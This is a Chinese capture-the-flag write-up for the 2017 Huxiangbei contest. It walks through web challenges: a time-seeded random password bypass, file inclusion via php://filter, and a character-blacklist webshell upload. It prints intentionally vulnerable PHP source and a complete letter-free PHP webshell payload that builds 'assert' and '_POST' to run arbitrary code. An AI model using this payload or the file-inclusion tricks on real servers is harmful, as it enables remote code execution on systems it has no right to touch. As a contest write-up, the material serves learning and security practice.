湖湘杯 2017 Web/Misc Writeup

0x00 Something

hxb有种原题搜索大赛的感觉,不过对于我这只m新来说,还是可以学到东西的。感觉质量最高的就是Web400了吧,然而菜。

0x01 WP

Web 150

得到swp源码后发现随机数可以爆破。

<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length =  10){
	$randpwd = "";
	for ($i = 0; $i < $pw_length; $i++){
		$randpwd .= chr(mt_rand(100, 200));
	}
	return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';    
if($pwd == $_GET['pwd']){
    echo "first";
    if($_SESSION['userLogin']==$_GET['login'])
    	echo "Nice , you get the flag it is ".$flag ;
}else{
	echo "Wrong!";
}

$_SESSION['userLogin']=create_password(32).rand();

?>

由于随机数种子使用了time(),考虑条件竞争重新提交获取到的password。login为空绕过判断。
当然爆破time()随机数种子也可行,但是可能是我时区设置问题一直没成功。

Web 200

文件上传过滤很少,且存在文件包含,包含得到网页源码,发现是有限制的包含,可使用phar包含,在寻找flag时发现可直接php://filter包含flag.php。
莫非真的是上传题?
直接包含flag.php就ok。

Web 300
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
   show_source(__FILE__);
   die();
}
function rand_string( $length ) {
   $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
   $size = strlen( $chars );
   $str = '';
   for( $i = 0; $i < $length; $id+ ) {
	   $str .= $chars[ rand( 0, $size - 1 ) ];
   }
   return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
   if (stripos($data, $b) !== false){
	   die("WAF!");
   }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
   echo "<a href='".$full_filename."'>WebShell</a></br>";
   echo "Enjoy your webshell~";
}else{
   echo "Some thing wrong...";
}

源码中过滤了所有字母和数字,还有部分字符,发现[、]、$、_等没有过滤,参考不包含字母和数字的webshell,利用字符串Array获取字符A,利用php的特性,从A递增获得A到Z的各个字母。原理参考p师傅博客
此处使用了chybeta师傅的payload:
$_='';$_[%2b$_]%2b%2b;$_=$_.'';$__=$_[%2b''];$_=$__;$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_[_]);

Web 400

师傅说ssrf,ini文件可以上传。

Misc 100

神热身题,半途换了图片。
8x8矩阵对应base64解出即可。

Misc 150

flag.zip提取,ce.txt使用PIL绘图即可。注意行、列数。

Misc 200

一个XOR加密的安卓APK,没有解密函数,把密文改扩展名再加密一次得到flag。

Misc 300

引用的其他比赛的题。
文本中的内容像是对pickle对象序列化,读入后得到大量tuple。尝试创建一个image,绘图。

import pickle   
from PIL import Image
with open('pixels.jpg.pkl') as f:
	data = pickle.loads(f.read().encode('utf8'))
white_pixels = [(int(e[0]), int(e[1])) for e in data[1:]]
width  = max([p[0] for p in white_pixels]) + 10
height = max([p[1] for p in white_pixels]) + 10
image  = Image.new('1', (width, height), 0)
pixels = image.load()
for pixel in white_pixels:
	pixels[pixel[0], pixel[1]] = 255
image.show()
RE 100/200

其实这两个RE的题,应该就是新手题。

作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub